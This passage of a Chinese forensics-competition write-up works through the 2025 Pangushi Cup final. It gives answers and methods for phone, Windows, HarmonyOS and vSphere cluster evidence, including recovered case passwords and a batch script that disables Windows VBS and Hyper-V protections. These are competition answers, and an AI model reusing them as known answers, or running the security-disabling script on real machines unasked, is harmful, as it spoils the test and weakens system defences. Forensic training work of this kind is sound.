352507504954650<br/><img alt="assets/2025盘古石杯决赛/file-20260309184559847.png" loading="lazy" src="/blog/img/cnblogs/19813040/image-014-6f7b56ad3f.png"/></li><li>曾经接收过一快递, 收件地址是?<br/>中新市人民路1119号1栋3单元2502<br/><img alt="assets/2025盘古石杯决赛/file-20260309191327614.png" loading="lazy" src="/blog/img/cnblogs/19813040/image-015-17b49a6205.png"/></li><li>接上题, 联系电话是?<br/>同上<br/>15922223333</li><li>分析苹果手机检材, 找出嫌疑人参加内部会议系统的地址?<br/>192.168.10.104:5003/meeting/meeting<br/>没啥线索翻翻手机相册：<br/><img alt="assets/2025盘古石杯决赛/file-20260310185950777.png" loading="lazy" src="/blog/img/cnblogs/19813040/image-016-b0149916ed.png"/><br/>或许有用<br/><img alt="assets/2025盘古石杯决赛/file-20260310190053251.png" loading="lazy" src="/blog/img/cnblogs/19813040/image-017-90179394f7.png"/><br/>翻到了</li><li>接上题, 找出参加会议的时间?<br/>2025‎年‎5‎月‎20‎日<br/><img alt="assets/2025盘古石杯决赛/file-20260310190426619.png" loading="lazy" src="/blog/img/cnblogs/19813040/image-018-0e3d3a5128.png"/><br/>跳转到源文件查看最后修改时间：<img alt="assets/2025盘古石杯决赛/file-20260310190513478.png" loading="lazy" src="/blog/img/cnblogs/19813040/image-019-03abc95f71.png"/></li><li>截止到 2025 年 4 月, 该团队虚拟币投资总收入是多少?<br/>32959790278.00<br/><img alt="assets/2025盘古石杯决赛/file-20260310190623131.png" loading="lazy" src="/blog/img/cnblogs/19813040/image-020-cb888f9282.png"/></li><li>截止到 2025 年 4 月, 该团队虚拟币投资总支出是多少?<br/>10885644613<br/>同上</li><li>该团队雇佣钟无声的佣金是多少?<br/>思路是找到软件的数据库分析<br/>首先跳转源文件<img alt="assets/2025盘古石杯决赛/file-20260310192103856.png" loading="lazy" src="/blog/img/cnblogs/19813040/image-021-2051fa5955.png"/><br/>得到包名com.fabian.hasse.haushaltsbuch<br/><img alt="assets/2025盘古石杯决赛/file-20260310192127880.png" loading="lazy" src="/blog/img/cnblogs/19813040/image-022-5f603a9777.png"/><br/>在application.plist里面搜索包名，看到下一行是数据目录<br/><img alt="assets/2025盘古石杯决赛/file-20260310192341715.png" loading="lazy" src="/blog/img/cnblogs/19813040/image-023-16ec88a09c.png"/><br/>在data文件夹里发现数据库：分析：<br/><img alt="assets/2025盘古石杯决赛/file-20260310193041127.png" loading="lazy" src="/blog/img/cnblogs/19813040/image-024-a70a287b04.png"/><br/><img alt="assets/2025盘古石杯决赛/file-20260310195103412.png" loading="lazy" src="/blog/img/cnblogs/19813040/image-025-289a6330fa.png"/><br/>借鉴了wiki佬的思路<br/><strong>Windows 计算机</strong><br/><img alt="assets/2025盘古石杯决赛/file-20260308184317186.png" loading="lazy" src="/blog/img/cnblogs/19813040/image-026-0fb8637151.png"/></li></ol><p>1.操作系统安装时间(UTC+8)?<br/>2025-05-16 15:16:50 <img alt="assets/2025盘古石杯决赛/file-20260308194315378.png" loading="lazy" src="/blog/img/cnblogs/19813040/image-027-9e02cbc686.png"/><br/>2. 登陆次数最多的用户?<br/>admin<br/><img alt="assets/2025盘古石杯决赛/file-20260308194501438.png" loading="lazy" src="/blog/img/cnblogs/19813040/image-028-9028552896.png"/><br/>3. 最后一次弹出的移动设备制造商是?<br/>SanDisk<br/><img alt="assets/2025盘古石杯决赛/file-20260308194538191.png" loading="lazy" src="/blog/img/cnblogs/19813040/image-029-5f3d9c043a.png"/><br/>4. 访问次数最多的网页名称是?</p><p><img alt="assets/2025盘古石杯决赛/file-20260308223004577.png" loading="lazy" src="/blog/img/cnblogs/19813040/image-030-290f704d82.png"/><br/>看到主要是这两个浏览器，点到源文件看到是sqlite数据库<img alt="assets/2025盘古石杯决赛/file-20260308223229778.png" loading="lazy" src="/blog/img/cnblogs/19813040/image-031-d0a5dc8058.png"/><br/>加个.sqlite后缀才能放软件分析<br/><img alt="assets/2025盘古石杯决赛/file-20260308222910477.png" loading="lazy" src="/blog/img/cnblogs/19813040/image-032-03b4de9867.png"/><br/><img alt="assets/2025盘古石杯决赛/file-20260308222809683.png" loading="lazy" src="/blog/img/cnblogs/19813040/image-033-20a662cbc4.png"/><br/>会议管理系统<br/>6. 记录鸿蒙备份密码的文件格式是?<br/><img alt="assets/2025盘古石杯决赛/file-20260308205802777.png" loading="lazy" src="/blog/img/cnblogs/19813040/image-034-f67026c8f4.png"/><br/><img alt="assets/2025盘古石杯决赛/file-20260308205829826.png" loading="lazy" src="/blog/img/cnblogs/19813040/image-035-ae7401fd0a.png"/><br/>Pgs-2025!123js<br/>7. 鸿蒙备份密码中的数字是(按照从左到右)?<br/>2025123<br/>8. 桌面 txt 文档隐藏的密码是?<br/><img alt="assets/2025盘古石杯决赛/file-20260308224803778.png" loading="lazy" src="/blog/img/cnblogs/19813040/image-036-826354b23c.png"/><br/><img alt="assets/2025盘古石杯决赛/file-20260308224830935.png" loading="lazy" src="/blog/img/cnblogs/19813040/image-037-1a59a532b2.png"/><br/>3w.pgs.cup<br/>9. 安装的邮件客户端是?<br/>claws mail<br/><img alt="assets/2025盘古石杯决赛/file-20260308210858722.png" loading="lazy" src="/blog/img/cnblogs/19813040/image-038-55b0e80601.png"/><br/><img alt="assets/2025盘古石杯决赛/file-20260308210948007.png" loading="lazy" src="/blog/img/cnblogs/19813040/image-039-5217336231.png"/><br/>10. 碎片图片重构后 ESXi2 的登陆密码是?<br/>root/P@88w0rd<br/>学习了wiki佬的思路用gaps来重组，看到图片都是228X171<br/><img alt="assets/2025盘古石杯决赛/file-20260311110820032.png" loading="lazy" src="/blog/img/cnblogs/19813040/image-040-b01c9e5f9b.png"/><br/>由于gaps只支持正方形的，所以需要先将图片拉成正方形（228X228）<br/>脚本如下：```</p><pre><code>import os from PIL import Image input_folder = "./VM_Config" output_image = "combined_square.jpg" target_size = 228 grid_size = 25 image_files = [f for f in os.listdir(input_folder) if f.lower().endswith('.jpg')] canvas_size = (grid_size * target_size, grid_size * target_size) canvas = Image.new('RGB', canvas_size) for idx, img_file in enumerate(image_files[:625]):     img_path = os.path.join(input_folder, img_file)     with Image.open(img_path) as img:         img_resized = img.resize(target_size, target_size)         row = idx // grid_size         col = idx %  grid_size         position = (col * target_size, row * target_size)         canvas.paste(img_resized, position) canvas.save(output_image, quality=95)</code></pre><p>得到下图，再用gaps处理<br/><img alt="assets/2025盘古石杯决赛/combined_square.jpg" loading="lazy" src="/blog/img/cnblogs/19813040/image-041-f513dea3c2.jpg"/><br/><img alt="assets/2025盘古石杯决赛/file-20260311110712482.png" loading="lazy" src="/blog/img/cnblogs/19813040/image-042-a46aea6883.png"/><br/>montage 输入文件路径 -tile 长宽数量 -geometry 拼图间隙 输出路径<br/>gaps run combined_square.jpg solution.jpg --size=228 --generations=20 --population=20（配置调到了最小，内存多的话可以调大点）<br/><img alt="assets/2025盘古石杯决赛/file-20260311110630664.png" loading="lazy" src="/blog/img/cnblogs/19813040/image-043-1f5beb29dd.png"/><br/>12. xshell 连接记录共有几条?<br/>4<br/><img alt="assets/2025盘古石杯决赛/file-20260309205406367.png" loading="lazy" src="/blog/img/cnblogs/19813040/image-044-10f7d65275.png"/><br/><img alt="assets/2025盘古石杯决赛/file-20260309205647740.png" loading="lazy" src="/blog/img/cnblogs/19813040/image-045-465ec12eff.png"/><br/>wiki大佬思路<br/>13. 控制程序监听的端口号是<br/>4782<br/>控制端里面找配置文件<img alt="assets/2025盘古石杯决赛/file-20260309210739114.png" loading="lazy" src="/blog/img/cnblogs/19813040/image-046-b0525e4bc1.png"/><br/>14. 控制端在什么时间控制过其他电脑?<br/>5.19<br/><img alt="assets/2025盘古石杯决赛/file-20260309210655071.png" loading="lazy" src="/blog/img/cnblogs/19813040/image-047-2a14becba5.png"/><br/>控制端里面找log文件</p><p><strong>HarmonyOS 程序分析</strong></p><ol><li><p>该软件应用名称是?</p></li><li><p>软件的包名是?</p></li><li><p>软件图标md5的后六位是?</p></li><li><p>软件代码保存的文件名称是?</p></li><li><p>软件的入口类是?</p></li><li><p>软件的入口密码是?</p></li><li><p>软件存储笔记的数据库名称是?</p></li><li><p>数据库的打开密码是?</p></li><li><p>数据库中笔记内容采用什么加密算法?</p></li><li><p>数据库中笔记内容加密秘钥是?</p></li></ol><p><strong>服务器集群取证</strong></p><p>导出vcsa虚拟机文件夹，注意是分区7下面的这个<img alt="assets/2025盘古石杯决赛/file-20260315195711917.png" loading="lazy" src="/blog/img/cnblogs/19813040/image-048-6314a11406.png"/><br/>而不是这里这个<img alt="assets/2025盘古石杯决赛/file-20260315195749300.png" loading="lazy" src="/blog/img/cnblogs/19813040/image-049-bfa06592b7.png"/><br/>这个文件夹打开虚拟机会报错<img alt="assets/2025盘古石杯决赛/ca79ca61dc949353e37d7eff64d91666.png" loading="lazy" src="/blog/img/cnblogs/19813040/image-050-5013a49d87.png"/><br/>一开始以为是检材坏了，后来发现导错地方<br/>进来可以看到<br/><img alt="assets/2025盘古石杯决赛/file-20260311084647096.png" loading="lazy" src="/blog/img/cnblogs/19813040/image-051-6e5d97e3bd.png"/><br/>首先调整了一下核数为4<br/>打开后用之前拼图给的账号密码登录：<br/><img alt="assets/2025盘古石杯决赛/file-20260315200541397.png" loading="lazy" src="/blog/img/cnblogs/19813040/image-052-146c208310.png"/></p><pre><code>### 1. 隔离虚拟机网络（取证关键）为了防止目标服务器意外联网或触发外部通信导致证据污染，**切勿将该虚拟机的网卡设置为“桥接模式(Bridged)”或“NAT”**。- 请在虚拟机设置中，将其网络适配器改为 **“仅主机模式 (Host-Only)”**（如果您使用的是 VMware Workstation）或将其放入一个独立的内部网络/LAN 区段。### 2. 配置取证机（宿主机）的网络截图中显示该 vCenter 服务器配置了静态 IP：`192.168.10.100`。  您需要将取证工作机上对应的虚拟网卡（例如 Workstation 的 VMnet1）配置在同一个网段下：- **IP 地址**: `192.168.10.x` （例如 `192.168.10.10`）- **子网掩码**: `255.255.255.0`- 网关和 DNS 留空即可。### 3. 配置本地 Hosts 文件解析vCenter Server 极其依赖其内部配置的 FQDN（完全限定域名）。截图中显示的地址为 `vcsa.pgs.cup`。如果只通过 IP 访问可能会出现重定向失败或证书错误。  请在您的 Windows 取证机上修改 hosts 文件：1. 以管理员身份运行记事本，打开 [hosts](vscode-file://vscode-app/d:/Programs/Microsoft%20VS%20Code/ce099c1ed2/resources/app/out/vs/code/electron-browser/workbench/workbench.html)2. 在文件末尾添加以下映射：192.168.10.100 vcsa.pgs.cup3. 保存文件。### 4. 获取信息与取证接入方式网络连通后，您可以通过以下几种方式介入该系统进行取证调查：- **系统管理后台 (VAMI)**：      在浏览器中访问：`https://vcsa.pgs.cup:5480`。此界面主要用于系统级管理、服务状态检查和系统日志导出。您也可以直接通过截图提示的地址 `https://vcsa.pgs.cup:443/appliance/support-bundle` 导出包含了大量系统及服务日志的支持包（Support Bundle），这对取证非常有价值。- **vSphere 管理中心**：      在浏览器中访问：`https://vcsa.pgs.cup`。这里是管理集群和虚拟机的核心界面。需要 vCenter 账户密码（通常是类似于 `administrator@vsphere.local` 格式的域账号）。- **直接进入底层操作系统调试**：      在您当前截图中按下 `&lt;F2&gt;` （Customize System），如果已知该系统的 `root` 密码，可以登入控制台。在控制台的 Troubleshooting Options 中可以开启 **SSH 服务** 或 **Bash Shell**，从而使用 SSH 客户端直连底层 Linux 以提取数据库（vPostgres）或底层日志。</code></pre><p>完成了以上修改就可以访问管理端口：<a href="https://vcsa.pgs.cup:5480" rel="noopener nofollow" target="_blank">https://vcsa.pgs.cup:5480</a><br/><img alt="assets/2025盘古石杯决赛/file-20260315202335537.png" loading="lazy" src="/blog/img/cnblogs/19813040/image-053-59a6bc3957.png"/></p><p><img alt="assets/2025盘古石杯决赛/file-20260315202517998.png" loading="lazy" src="/blog/img/cnblogs/19813040/image-054-9895fbbe02.png"/><br/>后台用<code>root</code>，或者<code>administrator@pgs.cup</code>都可以成功进<br/>但似乎这里没啥信息<br/>来看看集群管理界面：<a href="https://vcsa.pgs.cup" rel="noopener nofollow" target="_blank">https://vcsa.pgs.cup</a><br/>用<code>administrator@pgs.cup</code>进来<br/><img alt="assets/2025盘古石杯决赛/file-20260315203945294.png" loading="lazy" src="/blog/img/cnblogs/19813040/image-055-f160f5daf3.png"/></p><p>第一次见，学习下<strong>VMware vSphere 架构</strong> <strong>集中式服务器虚拟化环境</strong></p><pre><code>1. **“大管家”（vCenter Server）**：就是您现在截图里看到的这个系统。它是整个集群的**指挥中心**（控制面），负责统筹管理下面所有的物理机和虚拟机。2. **“宿主机”（ESXi 物理服务器）**：这是真正在机房里消耗电力的**硬件服务器**（数据面），它们接受 vCenter 的统一调度，提供 CPU、内存和存储资源。3. **“业务机”（子级虚拟机）**：这就是跑在各个 ESXi 物理机上的具体业务系统（如网站服务器、数据库、OA办公系统等）。**这里有一个取证中非常经典且有趣的“套娃现象”需要您注意：**  虽然 vCenter 是管理所有 ESXi 物理机的“最高长官”，但 vCenter 它自己（即截图中这个系统），**本质上也是一台虚拟机**，它通常也运行在受它管理的某一台 ESXi 物理机之上。**针对您作为取证人员的视角，这个层级对应着不同的调查方向：**- **如果您要查“内鬼/黑客是如何批量破坏或窃取大量服务器的”**：查 **vCenter**（您手头的这个系统），因为所有跨主机的迁移、克隆、快照、删除等高权限操作日志都在这里。- **如果您要查“某台具体物理服务器怎么断网了，或谁插了随身碟”**：查具体的 **ESXi 物理机**的底层日志。- **如果您要查“网站怎么被黑的、数据库被谁拖库了”**：查那台特定的**子级虚拟机**的操作系统（Windows/Linux）内部日志。</code></pre><ol><li><p>找出集群服务器内的集群名?<br/>Cluster_Pguscup<br/><strong><img alt="assets/2025盘古石杯决赛/file-20260315204109039.png" loading="lazy" src="/blog/img/cnblogs/19813040/image-056-49219f3e9f.png"/></strong></p></li><li><p>找出集群中共有多少台虚拟机?<br/>7<br/><img alt="assets/2025盘古石杯决赛/file-20260315204234064.png" loading="lazy" src="/blog/img/cnblogs/19813040/image-057-3d9972137c.png"/></p></li><li><p>找出集群中 vMotion 所用的网段?</p></li><li><p>找出集群磁盘组内共存储了多少个 iSO 镜像?</p></li><li><p>找出集群内"市场 PC"虚拟机在磁盘组中存储的名称?</p></li><li><p>找出管理此集群的服务器 vcsa 的主机名?</p></li><li><p>找出 vcsa 的版本号?<br/>8.0.3.00500<br/><img alt="assets/2025盘古石杯决赛/file-20260316083439625.png" loading="lazy" src="/blog/img/cnblogs/19813040/image-058-6b10fb0e67.png"/><br/><img alt="assets/2025盘古石杯决赛/file-20260316084900530.png" loading="lazy" src="/blog/img/cnblogs/19813040/image-059-92870ba61f.png"/></p></li><li><p>找出 vcsa 中设置的时间服务器?<br/><img alt="assets/2025盘古石杯决赛/file-20260316084950640.png" loading="lazy" src="/blog/img/cnblogs/19813040/image-060-5a3c5d272c.png"/><br/>ntp.aliyun.com</p></li><li><p>找出 vcsa 每天几点进行备份?<br/>22:59<br/><img alt="assets/2025盘古石杯决赛/file-20260316085238786.png" loading="lazy" src="/blog/img/cnblogs/19813040/image-061-c4d7ea2ac9.png"/></p></li><li><p>找出 vcsa 管理页面的端口号?<br/>5480<br/><img alt="assets/2025盘古石杯决赛/file-20260316085340138.png" loading="lazy" src="/blog/img/cnblogs/19813040/image-062-2191683d76.png"/></p></li><li><p>找出 vcsa 服务器 web client 登录的账户名?</p></li></ol><pre><code>在 VMware vCenter 环境中，确实有两个容易混淆的 Web 界面：1. **vCenter Server 管理页面 (VAMI - vCenter Server Appliance Management Interface)**        - **端口:** 通常是 `5480`。    - **用途:** 用于管理 vCenter Appliance 虚拟机本身的底层设置。例如：网络配置（IP地址、DNS）、系统时间、更新打补丁、系统服务监控、备份和还原 vCenter 数据库等。    - **登录信息:** 默认用户名通常是 `root`，密码是安装 vCenter 时设置的 OS 密码。2. **vSphere Web Client (现在的 vSphere Client)**        - **端口:** 通常是 `443` (HTTPS)。    - **用途:** 这是日常管理虚拟基础架构的主要界面。用于管理虚拟机（创建、删除、开机、关机）、主机（ESXi）、集群、存储、网络等资源。    - **登录信息:** 默认管理员账号通常是 `administrator@vsphere.local` (如果使用默认域)，密码是安装时设置的 SSO 密码。**总结区分:**- **找 "5480" 端口:** 如果题目或流量中出现 `5480` 端口，或者路径类似于 `/appliance`，那通常指的是 **vCenter Server 的管理页面 (VAMI)**。- **找 "443" 端口:** 如果是 `443` 端口，且路径类似于 `/ui` 或者是登录到类似 `/websso/SAML2/...` 的 SSO 认证流程，那通常指的是 **vSphere Web Client**。</code></pre><p>administrator@pgs.cup<br/>7. 找出 vcsa 管理的服务器主机的系统版本号?<br/>4.0.0<br/>学习西电wiki的思路：<br/><img alt="assets/2025盘古石杯决赛/file-20260316202814310.png" loading="lazy" src="/blog/img/cnblogs/19813040/image-063-09b5d6aee5.png"/><br/>在 vCenter Server 管理页面的"连接"选项卡中编辑访问设置, 激活 Bash Shell<br/>接着使用 ssh 连接 vCenter Server:</p><p>ssh -l "administrator@pgs.cup" 192.168.10.100</p><p><img alt="assets/2025盘古石杯决赛/file-20260316202942185.png" loading="lazy" src="/blog/img/cnblogs/19813040/image-064-1fed288b49.png"/><br/>根据提示启动shell<img alt="assets/2025盘古石杯决赛/file-20260316203055042.png" loading="lazy" src="/blog/img/cnblogs/19813040/image-065-58ace58316.png"/><br/>我想方便点看文件于是用finalshell<br/><img alt="assets/2025盘古石杯决赛/file-20260316203947111.png" loading="lazy" src="/blog/img/cnblogs/19813040/image-066-e866c080c4.png"/><br/>但发现直接看不到，问问ai<br/><img alt="assets/2025盘古石杯决赛/file-20260316204028078.png" loading="lazy" src="/blog/img/cnblogs/19813040/image-067-997d48df71.png"/><br/>输入以下命令后重新连接：</p><pre><code>chsh -s /bin/bash root</code></pre><p><img alt="assets/2025盘古石杯决赛/file-20260316204201320.png" loading="lazy" src="/blog/img/cnblogs/19813040/image-068-8c881f91e6.png"/><br/>在 <code>/etc/lsb-release</code> 或 <code>/etc/os-release</code> 或 <code>/etc/photon-release</code> 文件中保存着服务器主机的发行版信息:<br/><img alt="assets/2025盘古石杯决赛/file-20260316204421183.png" loading="lazy" src="/blog/img/cnblogs/19813040/image-069-768ed333e3.png"/><br/><img alt="assets/2025盘古石杯决赛/file-20260316204454861.png" loading="lazy" src="/blog/img/cnblogs/19813040/image-070-9bee7d31e9.png"/><br/>不过这些都只能精确到 4.0, 无法精确到答案格式中要求的 <code>4.0.x</code>. 查了一些资料, 看到说如果版本号为 <code>4.0 Rev X</code> 则代表版本为 <code>4.0.X</code> 否则版本号就是 <code>4.0.0</code>.<br/>8. 分析 vcsa 管理的服务器主机的文件系统类型?<br/>vmfs<br/>首先ESXi 本地磁盘默认必须是 VMFS<br/>也可命令查看：</p><pre><code>lsblk</code></pre><p><img alt="assets/2025盘古石杯决赛/file-20260316205921632.png" loading="lazy" src="/blog/img/cnblogs/19813040/image-071-ea402929eb.png"/><br/><img alt="assets/2025盘古石杯决赛/file-20260316210017847.png" loading="lazy" src="/blog/img/cnblogs/19813040/image-072-c755ceb18c.png"/><br/>没太看出来</p><p>另一思路到esxi里面看文件系统，由于vcsa是用来运维和管理集群的，是个普通的系统+运维的软件，这里的vcsa管理着那个集群，集群的文件系统是vmfs，所以答案是vmfs<br/><img alt="assets/2025盘古石杯决赛/dd4adf02ac2842d7d64d57796d4b0568.png" loading="lazy" src="/blog/img/cnblogs/19813040/image-073-0042907ff4.png"/></p><pre><code>### 到底什么是 VMFS（虚拟机文件系统）？**专业定义**：VMFS (Virtual Machine File System) 是 VMware 公司专门为存储“虚拟机”而研发的专利级**集群文件系统**。**通俗理解**：  您用的 U 盘通常是 FAT32 或 exFAT 格式，Windows 电脑硬盘通常是 NTFS 格式。这些文件系统都有一个致命特征：**同一时间只能有一台电脑去读写它，否则数据就全乱套了**。但是在企业机房里，多台物理服务器（ESXi）往往连接着同一个存满虚拟机的巨型共享存储柜（SAN）。  **VMFS 的超能力就是它可以让几十台物理服务器，在同一瞬间，同时往同一块硬盘里写入数据，彼此完全互不干扰。****核心界限（取证极其关键！请牢记）：**- **VCSA 内部（你的截图）**：也就是系统里面，用来存系统自己的日志和数据库的，一般是 Linux 的文件系统（如 **ext4** 或 **xfs**）包裹在 LVM 里面。- **ESXi 物理机外部**：用来存放几十上百个业务虚拟机（比如包含这个 VCSA 自身的虚拟硬盘文件 `.vmdk`）的那个巨大的底层硬盘，它的文件格式才是 **VMFS**。**总结一下 WP 的问题：**  那份 WP 说“每个 lvm 卷内均为 vmfs 文件系统”，如果是对着这张 VCSA 的截图说的，那**大概率是写错了或者是概念串位了**。VCSA 的这些 `/storage/...` 目录里面绝对是 ext4/ext3，不可能是 VMFS。VMFS 只存在于 ESXi 宿主的底层硬盘里。您以后在取证遇到这种情况，只要脑子里有一条线：**管系统的内部配置看 LVM/ext4，揪底层的虚拟硬盘看 VMFS**，思路就彻底通了。这是一个非常好的问题！作为取证人员，彻底搞懂底层存储结构的“界限”，比单纯背命令重要得多。</code></pre><ol start="9"><li>找出 vSAN 服务所对应的端口组名称?</li></ol><p><img alt="assets/2025盘古石杯决赛/file-20260317205802213.png" loading="lazy" src="/blog/img/cnblogs/19813040/image-074-03ccb079a0.png"/><br/>10. 接上题, 该端口组上行端口数量?<br/>4<br/><img alt="assets/2025盘古石杯决赛/file-20260317210526806.png" loading="lazy" src="/blog/img/cnblogs/19813040/image-075-86b5804b2e.png"/><br/>有四个上行链路，对应四个上行端口<br/>11. 找出 vSAN 集群许可密钥的前 5 位?<br/>MG292<br/><img alt="assets/2025盘古石杯决赛/file-20260317210901097.png" loading="lazy" src="/blog/img/cnblogs/19813040/image-076-c4e8c0b804.png"/></p><p>注意是集群的许可<br/>12. 找出 vSAN 集群类型?<br/>HCL/延伸集群<br/><img alt="assets/2025盘古石杯决赛/file-20260317211528654.png" loading="lazy" src="/blog/img/cnblogs/19813040/image-077-fa4f4c41ab.png"/><br/><img alt="assets/2025盘古石杯决赛/file-20260317212443069.png" loading="lazy" src="/blog/img/cnblogs/19813040/image-078-be181c206b.png"/><br/>存疑一下，问了下ai，感觉更像延伸集群<br/><img alt="assets/2025盘古石杯决赛/file-20260317212531159.png" loading="lazy" src="/blog/img/cnblogs/19813040/image-079-ad989bb381.png"/></p><p><strong>虚拟机取证</strong><br/>做这里的题需要将整个集群重建起来. 集群使用 vSAN 集群硬盘组, 3 台 ESXi 服务器 + 1 台 vCenter Server 全部搭建起来才能读取硬盘数据. vSAN 搭建起来之后才能访问这部分及之后题目中的几台虚拟机.<br/>需要超级内存，理论大于64g，试试。</p><p><img alt="assets/2025盘古石杯决赛/file-20260318091023937.png" loading="lazy" src="/blog/img/cnblogs/19813040/image-080-6bd99870c0.png"/><br/><img alt="assets/2025盘古石杯决赛/file-20260318092146714.png" loading="lazy" src="/blog/img/cnblogs/19813040/image-081-dde3710afe.png"/><br/>这是因为宿主机打开了VBS，我是win11，系统默认打开VBS（基于虚拟的安全性）<br/>可以win+R输入<strong><code>msinfo32</code></strong>  打开系统信息面版查看</p><p><img alt="assets/2025盘古石杯决赛/file-20260318093049018.png" loading="lazy" src="/blog/img/cnblogs/19813040/image-082-51f5bc3adc.png"/><br/>学习了西电wiki的方法一和方法二，由于我的是win11家庭版，似乎没有这个选项："计算机配置—管理模板—系统—Device Guard“</p><p>于是用方法二，脚本从底层关闭：</p><p>该方案需要在 BIOS 设置中关闭安全启动（secure boot）</p><p>运行以下批处理脚本:</p><p><code>@echo off  dism /Online /Disable-Feature:microsoft-hyper-v-all /NoRestart dism /Online /Disable-Feature:IsolatedUserMode /NoRestart dism /Online /Disable-Feature:Microsoft-Hyper-V-Hypervisor /NoRestart dism /Online /Disable-Feature:Microsoft-Hyper-V-Online /NoRestart dism /Online /Disable-Feature:HypervisorPlatform /NoRestart  mountvol X: /s copy %WINDIR%\System32\SecConfig.efi X:\EFI\Microsoft\Boot\SecConfig.efi /Y bcdedit /create &#123;0cb3b571-2f2e-4343-a879-d86a476d7215&#125; /d "DebugTool" /application osloader bcdedit /set &#123;0cb3b571-2f2e-4343-a879-d86a476d7215&#125; path "\EFI\Microsoft\Boot\SecConfig.efi" bcdedit /set &#123;bootmgr&#125; bootsequence &#123;0cb3b571-2f2e-4343-a879-d86a476d7215&#125; bcdedit /set &#123;0cb3b571-2f2e-4343-a879-d86a476d7215&#125; loadoptions DISABLE-LSA-ISO,DISABLE-VBS bcdedit /set &#123;0cb3b571-2f2e-4343-a879-d86a476d7215&#125; device partition=X: mountvol X: /d bcdedit /set hypervisorlaunchtype off  pause &gt; nul</code><br/>命名为.bat文件以管理员身份运行后重启<br/>这个时候会看到是否关闭虚拟化安全的提示，均选择是<br/>再开机即可。<br/><img alt="assets/2025盘古石杯决赛/file-20260318194919664.png" loading="lazy" src="/blog/img/cnblogs/19813040/image-083-83e588a734.png"/><br/>但是初始的4g运存是不够的，会一直卡在某个服务的加载一直没变化，我们把内存加到8g：</p><p><img alt="assets/2025盘古石杯决赛/file-20260318200852205.png" loading="lazy" src="/blog/img/cnblogs/19813040/image-084-de2c693c2b.png"/><br/><img alt="assets/2025盘古石杯决赛/file-20260318201020079.png" loading="lazy" src="/blog/img/cnblogs/19813040/image-085-3655778567.png"/><br/><img alt="assets/2025盘古石杯决赛/file-20260318201604417.png" loading="lazy" src="/blog/img/cnblogs/19813040/image-086-2279ba53dd.png"/><br/>访问管理后台，用之前得到的密码P@88w0rd登陆</p><ol><li><p>找出该组织域名?<br/>pgs.cup<br/><img alt="assets/2025盘古石杯决赛/file-20260317212153013.png" loading="lazy" src="/blog/img/cnblogs/19813040/image-087-77e84d22fb.png"/></p></li><li><p>找出 DNS 服务器系统 Build 版本?<br/>首先找到dns服务器：</p></li></ol><pre><code>在企业 IT 架构中，名为 `AD` 的服务器通常代表 Active Directory（活动目录）域控制器，而它几乎必然同时承担内网 DNS 服务器的角色。主要原因如下：1. **AD 的绝对依赖性**：Active Directory 域服务高度依赖 DNS。域内的计算机必须通过 DNS 的 SRV 记录才能定位到域控制器（DC）来进行身份验证和登录。没有 DNS，AD 就无法运行。2. **微软的默认架构**：在 Windows Server 上部署 AD 域服务时，系统会默认并强烈推荐将 DNS 服务器角色与 AD 安装在同一台机器上，并使用“AD 集成区域”来同步 DNS 数据。3. **环境特征**：从你的截图中可以看到，vCenter 和 ESXi 主机都使用了 `.pgs.cup` 这样的完整域名（如 `esxi2.pgs.cup`）。这说明你的环境中有统一的内部域名管理，而这台 `AD` 虚拟机大概率就是解析 `.pgs.cup` 域名的核心 DNS 服务器。因此，在运维常识中，看到名为 `AD` 的机器，基本默认它就是这套环境的主 DNS 服务器。涵盖了这两个核心功能。</code></pre><p><img alt="assets/2025盘古石杯决赛/file-20260318202451711.png" loading="lazy" src="/blog/img/cnblogs/19813040/image-088-86fcb8aa8b.png"/><br/>可以看到我的ad近来还是掉的，推测需要把esxi1和3一起启动才能连上<br/><img alt="assets/2025盘古石杯决赛/file-20260318205432039.png" loading="lazy" src="/blog/img/cnblogs/19813040/image-089-8b0bc44f91.png"/><br/>全部启动然后连接exsi2，能看到build号：<br/><img alt="assets/2025盘古石杯决赛/file-20260318210727031.png" loading="lazy" src="/blog/img/cnblogs/19813040/image-090-6f96a96aae.png"/><br/>24674464<br/>2. 找出 DNS 服务器系统初始安装时间?</p><ol start="3"><li><p>找出 DNS 服务器 IP?<br/>192.168.10.99<br/><img alt="assets/2025盘古石杯决赛/file-20260318205714587.png" loading="lazy" src="/blog/img/cnblogs/19813040/image-091-eb7929c63b.png"/><br/>任意一台esxi进入后F2进Configure Management Network</p></li><li><p>找出 DNS 服务器内自建了多少条 DNS 记录?<br/>一直连不上虚拟机，找一下问题：<br/><img alt="assets/2025盘古石杯决赛/file-20260323200239128.png" loading="lazy" src="/blog/img/cnblogs/19813040/image-092-1b653ebc45.png"/><br/>“物理网络适配器未连接到 Distributed Switch”，发现是没配网卡的原因<br/><img alt="assets/2025盘古石杯决赛/file-20260323201855033.png" loading="lazy" src="/blog/img/cnblogs/19813040/image-093-02e38f6f70.png"/><br/>把三个esxi都接上另外两个网络适配器<br/><img alt="assets/2025盘古石杯决赛/file-20260323202007228.png" loading="lazy" src="/blog/img/cnblogs/19813040/image-094-9fc0137902.png"/><br/><img alt="assets/2025盘古石杯决赛/file-20260323213509911.png" loading="lazy" src="/blog/img/cnblogs/19813040/image-095-e78c0bcafe.png"/><br/><img alt="assets/2025盘古石杯决赛/file-20260323213615325.png" loading="lazy" src="/blog/img/cnblogs/19813040/image-096-1754db142b.png"/><br/><img alt="assets/2025盘古石杯决赛/file-20260323214941248.png" loading="lazy" src="/blog/img/cnblogs/19813040/image-097-97e973b87e.png"/><br/><img alt="assets/2025盘古石杯决赛/file-20260324210607497.png" loading="lazy" src="/blog/img/cnblogs/19813040/image-098-e45d52963b.png"/><br/><img alt="assets/2025盘古石杯决赛/file-20260325144448736.png" loading="lazy" src="/blog/img/cnblogs/19813040/image-099-883b71dbd4.png"/><br/>真放弃了，加上了数据盘以后每个esxi没有16g内存起不起网络拓扑（我的理解是）<br/>诶但你先别急，当绝望的准备关掉关掉全部都关掉的时候，发现似乎关掉一台，另外两台的机器连上了，有四台虚拟机可以用了，原来确实是内存的问题，试着继续做吧：<img alt="assets/2025盘古石杯决赛/file-20260325145206633.png" loading="lazy" src="/blog/img/cnblogs/19813040/image-100-fcdb40b31f.png"/><br/><img alt="assets/2025盘古石杯决赛/file-20260325145222750.png" loading="lazy" src="/blog/img/cnblogs/19813040/image-101-39e19e5395.png"/><br/>这是我的配置<br/>目前只有bocai能直接进<br/><img alt="assets/2025盘古石杯决赛/file-20260325145528207.png" loading="lazy" src="/blog/img/cnblogs/19813040/image-102-6efc1131fe.png"/><br/>另外两个显示没有支持的主机<br/><img 